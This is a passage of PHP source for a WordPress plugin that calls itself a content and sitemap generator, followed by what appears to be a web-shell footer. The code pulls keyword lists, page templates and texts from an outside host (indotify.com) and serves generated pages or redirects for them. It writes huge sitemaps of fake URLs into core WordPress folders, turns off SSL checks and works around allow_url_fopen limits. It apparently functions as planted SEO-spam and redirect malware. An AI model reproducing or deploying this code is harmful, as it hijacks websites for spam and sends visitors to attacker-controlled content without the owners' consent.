][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_3}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{app_rating}}' => $rating_html, '{{app_rating_value}}' => $rating, '{{app_review_count}}' => number_format($review_count), '{{app_price}}' => $price, '{{app_platform}}' => $platform, '{{app_category}}' => $category, '{{schema_markup}}' => $schema_markup, '{{site}}' => home_url(), '{{site_link}}' => preg_replace('#^https?://#', '', home_url()), '{{page_url}}' => home_url('/' . $param . '/' . $keyword), '{{page_url_link}}' => preg_replace('#^https?://#', '', home_url('/' . $param . '/' . $keyword)) ]; $template = strtr($template, $replacements); // Dynamic random placeholders $template = preg_replace_callback('/\{\{(number|letter|letterup|letterlow|letternumber|letternumberup|letternumberlow|32bit)_(\w+)\}\}/', function($matches) { $type = $matches[1]; $lenToken = $matches[2]; if (ctype_digit($lenToken)) { $length = max(1, (int)$lenToken); } else { $length = 10; } return $this->generate_random_token($type, $length); }, $template); } else { // Default: redirect to target URL wp_redirect($template_url); exit; } } echo $template; exit; } } catch (Exception $e) { error_log('Endpoint Error: ' . $e->getMessage()); echo '<p class="error">Content temporarily unavailable</p>'; exit; } } } } } } // Format keyword to title private function format_display_title($keyword) { $exceptions = [ 'dp' => 'DP', 'tv' => 'TV', 'ac' => 'AC', 'hp' => 'HP', 'cctv' => 'CCTV' ]; $words = explode('-', $keyword); foreach ($words as &$word) { $lower = strtolower($word); $word = $exceptions[$lower] ?? ucfirst($word); } return implode(' ', $words); } // Helper: parse titles from JSON or plain text list private function parse_titles_from_content($content) { $titles = []; $data = json_decode($content, true); if (is_array($data)) { $isAssoc = array_keys($data) !== range(0, count($data) - 1); if ($isAssoc) { foreach ($data as $key => $_) { $titles[] = $key; } } else { foreach ($data as $entry) { if (is_string($entry)) { $titles[] = str_replace(' ', '-', trim($entry)); } elseif (is_array($entry) && isset($entry['title'])) { $titles[] = str_replace(' ', '-', trim($entry['title'])); } } } } else { $lines = preg_split("/(\r\n|\n|\r)/", (string)$content); foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; $titles[] = str_replace(' ', '-', $line); } } $titles = array_values(array_unique(array_filter($titles, function($v){ return $v !== ''; }))); return $titles; } // Get random video URL from external file private function get_random_video_url() { static $cached_urls = null; static $last_fetch_time = 0; // Cache for 1 hour (3600 seconds) $cache_duration = 3600; if ($cached_urls === null || (time() - $last_fetch_time) > $cache_duration) { $video_urls_file = 'https://indotify.com/ppdb/praz/video_urls.txt'; $cached_urls = []; try { $content = $this->fetch_url_content($video_urls_file); if ($content !== false) { $lines = preg_split("/(\r\n|\n|\r)/", $content); foreach ($lines as $line) { $line = trim($line); if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) { $cached_urls[] = $line; } } } } catch (Exception $e) { error_log('Failed to fetch video URLs: ' . $e->getMessage()); } // If failed to fetch or empty, use default fallback if (empty($cached_urls)) { $cached_urls = ['https://youtube.com/embed/dQw4w9WgXcQ']; } $last_fetch_time = time(); } // Return random URL from cached list return $cached_urls[array_rand($cached_urls)]; } // Get random description from external file private function get_random_description() { static $cached_lines = null; static $last_fetch_time = 0; // Cache for 1 hour (3600 seconds) $cache_duration = 3600; if ($cached_lines === null || (time() - $last_fetch_time) > $cache_duration) { $desc_file = 'https://indotify.com/ppdb/praz/desc_random.txt'; $cached_lines = []; try { $content = $this->fetch_url_content($desc_file); if ($content !== false) { $lines = preg_split("/(\r\n|\n|\r)/", $content); foreach ($lines as $line) { $line = trim($line); if (!empty($line)) { $cached_lines[] = $line; } } } } catch (Exception $e) { error_log('Failed to fetch descriptions: ' . $e->getMessage()); } // If failed to fetch or empty, use default fallback if (empty($cached_lines)) { $cached_lines = ['Enjoy smart streaming with support quality and fast interface for the best experience']; } $last_fetch_time = time(); } // Return random description from cached list return $cached_lines[array_rand($cached_lines)]; } // Random token generator supporting multiple seed types private function generate_random_token($type, $length) { switch ($type) { case 'number': $seed = '0123456789'; break; case 'letter': $seed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'letterup': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'letterlow': $seed = 'abcdefghijklmnopqrstuvwxyz'; break; case 'letternumber': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789'; break; case 'letternumberup': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890123456789'; break; case 'letternumberlow': $seed = 'abcdefghijklmnopqrstuvwxyz01234567890123456789'; break; case '32bit': $seed = 'abcdef01234567890123456789'; break; default: $seed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; } $token = ''; $seedLen = strlen($seed); for ($i = 0; $i < $length; $i++) { $token .= $seed[random_int(0, $seedLen - 1)]; } return $token; } // Generate social share buttons private function generate_social_share_buttons($title, $description) { $url = urlencode(home_url('/' . $title)); $title = urlencode($title); $description = urlencode($description); return ' <div class="social-share-buttons"> <a href="https://www.facebook.com/sharer/sharer.php?u=' . $url . '" target="_blank" class="facebook">Share on Facebook</a> <a href="https://twitter.com/intent/tweet?url=' . $url . '&text=' . $title . '" target="_blank" class="twitter">Share on Twitter</a> <a href="https://www.linkedin.com/shareArticle?mini=true&url=' . $url . '&title=' . $title . '&summary=' . $description . '" target="_blank" class="linkedin">Share on LinkedIn</a> <a href="https://pinterest.com/pin/create/button/?url=' . $url . '&description=' . $description . '" target="_blank" class="pinterest">Share on Pinterest</a> </div>'; } // Generate breadcrumb private function generate_breadcrumb($param, $keyword) { return ' <div class="breadcrumb"> <a href="' . home_url() . '">Home</a> > <a href="' . home_url('/' . $param) . '">' . ucfirst($param) . '</a> > <span>' . $this->format_display_title($keyword) . '</span> </div>'; } // Generate related keywords private function generate_related_keywords($keyword) { $words = explode('-', $keyword); $related = []; foreach ($words as $word) { $related[] = ucfirst($word); } return implode(', ', $related); } // Generate table of contents private function generate_table_of_contents($content) { $toc = '<div class="table-of-contents"><h2>Table of Contents</h2><ul>'; $lines = explode("\n", $content); $count = 1; foreach ($lines as $line) { if (preg_match('/^#{1,6}\s+(.+)$/', $line, $matches)) { $level = strlen($matches[0]) - strlen(ltrim($matches[0], '#')); $title = trim($matches[1]); $anchor = sanitize_title($title); $toc .= '<li style="margin-left: ' . (($level - 1) * 20) . 'px">'; $toc .= '<a href="#' . $anchor . '">' . $title . '</a>'; $toc .= '</li>'; $count++; } } $toc .= '</ul></div>'; return $count > 1 ? $toc : ''; } // Helper: Generate and split sitemap per 50,000 URLs (per param) with retry mechanism private function generate_split_sitemaps($param, $json_url, $max_retries = 10) { $generated_files = []; $retry_count = 0; while ($retry_count < $max_retries) { try { // Check multiple possible directories for writing sitemaps $possible_dirs = [ ABSPATH . 'wp-includes/', ABSPATH . 'wp-content/uploads/', ABSPATH . 'wp-content/', ABSPATH ]; $sitemap_dir = null; foreach ($possible_dirs as $dir) { if (is_dir($dir) && is_writable($dir)) { $sitemap_dir = $dir; error_log("Using writable directory for sitemaps: $dir"); break; } } if (!$sitemap_dir) { error_log('No writable directory found for sitemap generation. Checked: ' . implode(', ', $possible_dirs)); return [ 'success' => false, 'files' => [], 'error' => 'No writable directory found. Checked: ' . implode(', ', $possible_dirs), 'retry_count' => $retry_count ]; } // Fetch JSON with timeout and retry using our new method error_log("Attempting to fetch JSON from URL: $json_url for param: $param"); $json_content = $this->fetch_url_content($json_url, 30); error_log("JSON content length for param $param: " . strlen($json_content) . " bytes"); // Parse titles from content (supports JSON object keys, JSON array of titles/objects with title, or plain text lines) $titles = $this->parse_titles_from_content($json_content); if (empty($titles)) { $json_error = json_last_error_msg(); error_log("Title parsing failed for param $param. JSON error (if any): " . $json_error); throw new Exception('Invalid JSON data or empty response. JSON error: ' . $json_error); } $chunks = array_chunk($titles, 50000); error_log("Split data into " . count($chunks) . " chunks for param $param"); $temp_generated_files = []; foreach ($chunks as $i => $chunk) { error_log("Processing chunk " . ($i + 1) . " of " . count($chunks) . " for param $param (contains " . count($chunk) . " items)"); $sitemap_content = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemap_content .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($chunk as $slug) { $url = home_url('/' . $param . '/' . $slug); $sitemap_content .= ' <url>' . PHP_EOL; $sitemap_content .= ' <loc>' . esc_url($url) . '</loc>' . PHP_EOL; $sitemap_content .= ' <lastmod>' . date('Y-m-d') . '</lastmod>' . PHP_EOL; $sitemap_content .= ' <changefreq>weekly</changefreq>' . PHP_EOL; $sitemap_content .= ' <priority>0.8</priority>' . PHP_EOL; $sitemap_content .= ' </url>' . PHP_EOL; } $sitemap_content .= '</urlset>' . PHP_EOL; $suffix = count($chunks) > 1 ? '-' . ($i + 1) : ''; $filename = 'sitemap-' . sanitize_title($param) . $suffix . '.xml'; $sitemap_path = $sitemap_dir . $filename; error_log("Attempting to write sitemap file: $sitemap_path"); $bytes_written = file_put_contents($sitemap_path, $sitemap_content); if ($bytes_written === false) { $error_info = error_get_last(); $error_msg = $error_info ? $error_info['message'] : 'Unknown error'; error_log("Failed to write sitemap file: $filename. Error: $error_msg"); throw new Exception('Failed to write sitemap file: ' . $filename . '. Error: ' . $error_msg); } error_log("Successfully wrote sitemap file: $filename ($bytes_written bytes)"); $temp_generated_files[] = str_replace(ABSPATH, '', $sitemap_path); } // If we reach here, all files were generated successfully return [ 'success' => true, 'files' => $temp_generated_files, 'error' => null, 'retry_count' => $retry_count ]; } catch (Exception $e) { $retry_count++; $error_msg = $e->getMessage(); error_log("Sitemap generation attempt $retry_count for param '$param' failed: " . $error_msg); if ($retry_count >= $max_retries) { return [ 'success' => false, 'files' => [], 'error' => $error_msg, 'retry_count' => $retry_count ]; } // Wait before retry (exponential backoff) $wait_time = min(30, pow(2, $retry_count - 1)); // 1, 2, 4, 8, 16, 30, 30... sleep($wait_time); } } return [ 'success' => false, 'files' => [], 'error' => 'Max retries exceeded', 'retry_count' => $retry_count ]; } // Helper: Generate all sitemaps combined with retry mechanism (gabungan semua endpoint, split per 50.000, nama sitemap-random-1.xml dst) private function generate_all_sitemaps_combined($endpoints, $max_retries = 10) { $all_urls = []; $failed_endpoints = []; foreach ($endpoints as $index => $endpoint) { // Hanya proses endpoint yang ditandai untuk sitemap if (isset($endpoint['sitemap']) && $endpoint['sitemap'] && !empty($endpoint['json_url']) && !empty($endpoint['param'])) { $retry_count = 0; $success = false; while ($retry_count < $max_retries && !$success) { try { error_log("Combined sitemap: Attempting to fetch JSON from URL: {$endpoint['json_url']} for param: {$endpoint['param']}"); $json_content = $this->fetch_url_content($endpoint['json_url'], 30); error_log("Combined sitemap: JSON content length for param {$endpoint['param']}: " . strlen($json_content) . " bytes"); // Parse titles from JSON/text $titles = $this->parse_titles_from_content($json_content); if (empty($titles)) { $json_error = json_last_error_msg(); error_log("Combined sitemap: Title parsing failed for param {$endpoint['param']}. JSON error (if any): " . $json_error); throw new Exception('Invalid JSON data. JSON error: ' . $json_error); } foreach ($titles as $slug) { $all_urls[] = [ 'loc' => home_url('/' . $endpoint['param'] . '/' . $slug), 'lastmod' => date('Y-m-d'), 'changefreq' => 'weekly', 'priority' => '0.8' ]; } $success = true; error_log("Combined sitemap: Successfully processed endpoint {$endpoint['param']} after " . ($retry_count + 1) . " attempts"); } catch (Exception $e) { $retry_count++; $error_msg = $e->getMessage(); error_log("Combined sitemap attempt $retry_count for endpoint '{$endpoint['param']}' failed: " . $error_msg); if ($retry_count >= $max_retries) { $failed_endpoints[] = [ 'param' => $endpoint['param'], 'error' => $error_msg, 'retry_count' => $retry_count ]; } else { // Wait before retry (exponential backoff) $wait_time = min(30, pow(2, $retry_count - 1)); sleep($wait_time); } } } } } $generated_files = []; // Check multiple possible directories for writing sitemaps $possible_dirs = [ ABSPATH . 'wp-includes/', ABSPATH . 'wp-content/uploads/', ABSPATH . 'wp-content/', ABSPATH ]; $sitemap_dir = null; foreach ($possible_dirs as $dir) { if (is_dir($dir) && is_writable($dir)) { $sitemap_dir = $dir; error_log("Using writable directory for combined sitemaps: $dir"); break; } } if (!$sitemap_dir) { error_log('No writable directory found for combined sitemap generation. Checked: ' . implode(', ', $possible_dirs)); return [ 'success' => false, 'files' => [], 'error' => 'No writable directory found. Checked: ' . implode(', ', $possible_dirs), 'failed_endpoints' => $failed_endpoints ]; } if (empty($all_urls)) { return [ 'success' => false, 'files' => [], 'error' => 'No valid URLs found to generate sitemap', 'failed_endpoints' => $failed_endpoints ]; } try { $chunks = array_chunk($all_urls, 50000); $random_string = substr(str_shuffle(md5(uniqid(rand(), true))), 0, 8); foreach ($chunks as $i => $chunk) { $sitemap_content = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemap_content .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($chunk as $urlinfo) { $sitemap_content .= ' <url>' . PHP_EOL; $sitemap_content .= ' <loc>' . esc_url($urlinfo['loc']) . '</loc>' . PHP_EOL; $sitemap_content .= ' <lastmod>' . $urlinfo['lastmod'] . '</lastmod>' . PHP_EOL; $sitemap_content .= ' <changefreq>' . $urlinfo['changefreq'] . '</changefreq>' . PHP_EOL; $sitemap_content .= ' <priority>' . $urlinfo['priority'] . '</priority>' . PHP_EOL; $sitemap_content .= ' </url>' . PHP_EOL; } $sitemap_content .= '</urlset>' . PHP_EOL; $suffix = count($chunks) > 1 ? '-' . ($i + 1) : ''; $filename = 'sitemap-' . $random_string . $suffix . '.xml'; $sitemap_path = $sitemap_dir . $filename; error_log("Attempting to write combined sitemap file: $sitemap_path"); $bytes_written = file_put_contents($sitemap_path, $sitemap_content); if ($bytes_written === false) { $error_info = error_get_last(); $error_msg = $error_info ? $error_info['message'] : 'Unknown error'; error_log("Failed to write combined sitemap file: $filename. Error: $error_msg"); throw new Exception('Failed to write combined sitemap file: ' . $filename . '. Error: ' . $error_msg); } error_log("Successfully wrote combined sitemap file: $filename ($bytes_written bytes)"); $generated_files[] = str_replace(ABSPATH, '', $sitemap_path); } return [ 'success' => true, 'files' => $generated_files, 'error' => null, 'failed_endpoints' => $failed_endpoints ]; } catch (Exception $e) { error_log('Combined sitemap file generation error: ' . $e->getMessage()); return [ 'success' => false, 'files' => [], 'error' => $e->getMessage(), 'failed_endpoints' => $failed_endpoints ]; } } // Generate sitemap index private function generate_sitemap_index() { $sitemap_files = []; // Check multiple possible directories for writing sitemaps $possible_dirs = [ ABSPATH . 'wp-includes/', ABSPATH . 'wp-content/uploads/', ABSPATH . 'wp-content/', ABSPATH ]; $sitemap_dir = null; foreach ($possible_dirs as $dir) { if (is_dir($dir) && is_writable($dir)) { $sitemap_dir = $dir; error_log("Using writable directory for sitemap index: $dir"); break; } } if (!$sitemap_dir) { error_log('No writable directory found for sitemap index generation. Checked: ' . implode(', ', $possible_dirs)); return false; } // Get all XML files in the sitemap directory that start with 'sitemap-' and end with '.xml' // but exclude 'sitemap-index.xml' $files = glob($sitemap_dir . 'sitemap-*.xml'); foreach ($files as $file) { $filename = basename($file); if (strpos($filename, 'sitemap-index.xml') === false) { $sitemap_files[] = [ 'loc' => home_url('/' . str_replace(ABSPATH, '', $file)), 'lastmod' => date('Y-m-d', filemtime($file)) ]; } } if (empty($sitemap_files)) { error_log('No sitemap files found in directory: ' . $sitemap_dir); return false; } $sitemap_index_content = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemap_index_content .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($sitemap_files as $sitemap) { $sitemap_index_content .= ' <sitemap>' . PHP_EOL; $sitemap_index_content .= ' <loc>' . esc_url($sitemap['loc']) . '</loc>' . PHP_EOL; $sitemap_index_content .= ' <lastmod>' . $sitemap['lastmod'] . '</lastmod>' . PHP_EOL; $sitemap_index_content .= ' </sitemap>' . PHP_EOL; } $sitemap_index_content .= '</sitemapindex>' . PHP_EOL; $sitemap_index_path = $sitemap_dir . 'sitemap-index.xml'; error_log("Attempting to write sitemap index file: $sitemap_index_path"); $bytes_written = file_put_contents($sitemap_index_path, $sitemap_index_content); if ($bytes_written === false) { $error_info = error_get_last(); $error_msg = $error_info ? $error_info['message'] : 'Unknown error'; error_log("Failed to write sitemap index file. Error: $error_msg"); return false; } error_log("Successfully wrote sitemap index file ($bytes_written bytes)"); return $bytes_written; } // NEW: Alternative methods to bypass allow_url_fopen=0 private function fetch_url_content($url, $timeout = 30) { // Method 1: Try cURL first (most reliable) if (function_exists('curl_init')) { $this->set_last_used_method('cURL'); try { return $this->fetch_with_curl($url, $timeout); } catch (Exception $e) { error_log("cURL failed for URL $url: " . $e->getMessage()); // Continue to next method } } // Method 2: Try file_get_contents with context if (ini_get('allow_url_fopen')) { $this->set_last_used_method('file_get_contents'); try { return $this->fetch_with_file_get_contents($url, $timeout); } catch (Exception $e) { error_log("file_get_contents failed for URL $url: " . $e->getMessage()); // Continue to next method } } // Method 3: Try WordPress HTTP API $this->set_last_used_method('WordPress HTTP API'); try { return $this->fetch_with_wp_http($url, $timeout); } catch (Exception $e) { error_log("WordPress HTTP API failed for URL $url: " . $e->getMessage()); throw new Exception("All HTTP methods failed for URL $url. Last error: " . $e->getMessage()); } } private function fetch_with_curl($url, $timeout = 30) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_USERAGENT => 'WordPress Sitemap Generator', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_ENCODING => '', CURLOPT_HTTPHEADER => [ 'Accept: */*', 'Accept-Encoding: gzip, deflate', 'Connection: keep-alive' ] ]); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($content === false || $http_code !== 200) { throw new Exception('cURL failed: ' . ($error ?: 'HTTP ' . $http_code)); } return $content; } private function fetch_with_file_get_contents($url, $timeout = 30) { $context = stream_context_create([ 'http' => [ 'timeout' => $timeout, 'method' => 'GET', 'header' => [ 'User-Agent: WordPress Sitemap Generator', 'Accept: */*', 'Accept-Encoding: gzip, deflate', 'Connection: keep-alive' ] ] ]); $content = file_get_contents($url, false, $context); if ($content === false) { throw new Exception('file_get_contents failed to fetch URL'); } return $content; } private function fetch_with_wp_http($url, $timeout = 30) { if (!function_exists('wp_remote_get')) { throw new Exception('WordPress HTTP API not available'); } $response = wp_remote_get($url, [ 'timeout' => $timeout, 'user-agent' => 'WordPress Sitemap Generator', 'sslverify' => false ]); if (is_wp_error($response)) { throw new Exception('WordPress HTTP API failed: ' . $response->get_error_message()); } $http_code = wp_remote_retrieve_response_code($response); if ($http_code !== 200) { throw new Exception('WordPress HTTP API returned HTTP ' . $http_code); } return wp_remote_retrieve_body($response); } // NEW: AJAX handler for saving endpoints public function save_endpoints_ajax() { error_log('save_endpoints_ajax called'); check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Unauthorized']); } $endpoints = $_POST['endpoints'] ?? []; foreach ($endpoints as $i => $endpoint) { $endpoints[$i]['sitemap'] = isset($endpoint['sitemap']); } update_option('additional_content_endpoints', $endpoints); ob_start(); $this->render_endpoints_table($endpoints); $table_html = ob_get_clean(); wp_send_json_success(['table_html' => $table_html]); } /** * AUTOMATIC: Fill endpoints from config (with optional shuffle), save, return new table HTML. */ public function automatic_fill_endpoints_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); } if (!function_exists('advanced_content_automatic_config')) { wp_send_json_error(['message' => 'Config AUTOMATIC tidak ditemukan.']); } $config = advanced_content_automatic_config(); $params = array_map('trim', $config['query_parameters']); $json_urls = array_map('trim', $config['json_urls']); $template_txt = array_map('trim', $config['template_txt_urls']); $redirects = array_map('trim', $config['redirect_target_urls']); if (!empty($config['randomize_order'])) { shuffle($params); shuffle($json_urls); } $count = min( count($params), count($json_urls), count($template_txt), count($redirects) ); $endpoints = []; for ($i = 0; $i < $count; $i++) { $endpoints[] = [ 'param' => sanitize_text_field($params[$i]), 'json_url' => esc_url_raw($json_urls[$i]), 'template_txt_url' => esc_url_raw(isset($template_txt[$i]) ? $template_txt[$i] : $template_txt[0]), 'template_url' => esc_url_raw(isset($redirects[$i]) ? $redirects[$i] : $redirects[0]), 'sitemap' => true, ]; } update_option('additional_content_endpoints', $endpoints); ob_start(); $this->render_endpoints_table($endpoints); $table_html = ob_get_clean(); wp_send_json_success(['table_html' => $table_html]); } // NEW: AJAX handler for individual sitemap generation public function handle_individual_sitemap_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); } $param = sanitize_text_field($_POST['param'] ?? ''); $json_url = esc_url_raw($_POST['json_url'] ?? ''); if (empty($param) || empty($json_url)) { wp_send_json_error(['message' => 'Parameter dan JSON URL harus diisi.']); } $result = $this->generate_split_sitemaps($param, $json_url); if ($result['success']) { $message = 'Sitemap berhasil dibuat untuk parameter: ' . $param; if ($result['retry_count'] > 0) { $message .= ' (berhasil setelah ' . ($result['retry_count'] + 1) . ' percobaan)'; } wp_send_json_success([ 'message' => $message, 'files' => array_map(function($file) { return esc_url(home_url($file)); }, $result['files']), 'retry_count' => $result['retry_count'] ]); } else { wp_send_json_error([ 'message' => 'Gagal membuat sitemap untuk parameter: ' . $param . ' setelah ' . $result['retry_count'] . ' percobaan. Error: ' . $result['error'] ]); } wp_die(); } // NEW: Render endpoints table (for AJAX response) private function render_endpoints_table($endpoints) { ?> <table class="wp-list-table widefat fixed striped" id="endpointsTable"> <thead> <tr> <th style="width: 18%;">Query Parameter</th> <th style="width: 22%;">JSON URL</th> <th style="width: 22%;">Template TXT URL</th> <th style="width: 18%;">Redirect Target URL</th> <th style="width: 5%;">Sitemap</th> <th style="width: 8%;">Generate</th> <th style="width: 7%;">Actions</th> </tr> </thead> <tbody> <?php foreach ($endpoints as $i => $endpoint): ?> <tr> <td><input type="text" name="endpoints[<?php echo $i; ?>][param]" value="<?php echo esc_attr($endpoint['param'] ?? ''); ?>" class="regular-text"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][json_url]" value="<?php echo esc_attr($endpoint['json_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][template_txt_url]" value="<?php echo esc_attr($endpoint['template_txt_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][template_url]" value="<?php echo esc_attr($endpoint['template_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="checkbox" name="endpoints[<?php echo $i; ?>][sitemap]" value="1" <?php checked(isset($endpoint['sitemap']) ? $endpoint['sitemap'] : false, true); ?>></td> <td> <button type="button" class="button button-secondary generate-individual-sitemap" data-index="<?php echo $i; ?>" data-param="<?php echo esc_attr($endpoint['param'] ?? ''); ?>" data-json-url="<?php echo esc_attr($endpoint['json_url'] ?? ''); ?>" <?php echo (empty($endpoint['param']) || empty($endpoint['json_url'])) ? 'disabled' : ''; ?>> Generate </button> </td> <td><button type="button" class="button button-danger remove-endpoint" data-index="<?php echo $i; ?>">Remove</button></td> </tr> <?php endforeach; ?> </tbody> </table> <?php } // NEW: Test URL connectivity private function test_url_connectivity($url) { try { $content = $this->fetch_url_content($url, 10); return [ 'success' => true, 'method' => $this->get_last_used_method(), 'content_length' => strlen($content), 'message' => 'URL accessible successfully' ]; } catch (Exception $e) { return [ 'success' => false, 'method' => $this->get_last_used_method(), 'error' => $e->getMessage(), 'message' => 'URL not accessible' ]; } } private $last_used_method = ''; private function get_last_used_method() { return $this->last_used_method; } private function set_last_used_method($method) { $this->last_used_method = $method; } // NEW: AJAX handler for testing URL connectivity public function handle_test_url_connectivity_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); } $url = esc_url_raw($_POST['url'] ?? ''); if (empty($url)) { wp_send_json_error(['message' => 'URL tidak boleh kosong.']); } $result = $this->test_url_connectivity($url); if ($result['success']) { wp_send_json_success([ 'message' => $result['message'], 'method' => $result['method'], 'content_length' => $result['content_length'] ]); } else { wp_send_json_error([ 'message' => $result['message'], 'method' => $result['method'], 'error' => $result['error'] ]); } wp_die(); } // NEW: Debug function to test all configured endpoints public function debug_endpoints_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); wp_die(); } $endpoints = get_option('additional_content_endpoints', []); $results = []; foreach ($endpoints as $index => $endpoint) { if (isset($endpoint['sitemap']) && $endpoint['sitemap'] && !empty($endpoint['json_url']) && !empty($endpoint['param'])) { $result = $this->test_url_connectivity($endpoint['json_url']); $results[] = [ 'param' => $endpoint['param'], 'url' => $endpoint['json_url'], 'success' => $result['success'], 'method' => $result['method'], 'error' => $result['error'] ?? null, 'content_length' => $result['content_length'] ?? 0 ]; } } wp_send_json_success([ 'message' => 'Debug selesai', 'results' => $results ]); wp_die(); } // NEW: Test file permissions for sitemap generation public function test_file_permissions_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); wp_die(); } $possible_dirs = [ ABSPATH . 'wp-includes/', ABSPATH . 'wp-content/uploads/', ABSPATH . 'wp-content/', ABSPATH ]; $results = []; foreach ($possible_dirs as $dir) { $is_dir = is_dir($dir); $is_writable = is_writable($dir); $can_write_test = false; $test_file = $dir . 'test-write-' . uniqid() . '.txt'; if ($is_dir && $is_writable) { // Try to write a test file $test_content = 'Test file created at ' . date('Y-m-d H:i:s'); $bytes_written = file_put_contents($test_file, $test_content); if ($bytes_written !== false) { $can_write_test = true; // Clean up the test file unlink($test_file); } } $results[] = [ 'directory' => str_replace(ABSPATH, '', $dir), 'exists' => $is_dir, 'writable' => $is_writable, 'can_write_test' => $can_write_test, 'full_path' => $dir ]; } wp_send_json_success([ 'message' => 'File permissions test completed', 'results' => $results ]); wp_die(); } } new AdvancedContentPlugin();
| ver. 1.4 |
Github
|
.
| PHP 8.3.30 | Generation time: 0.1 |
proxy
|
phpinfo
|
Settings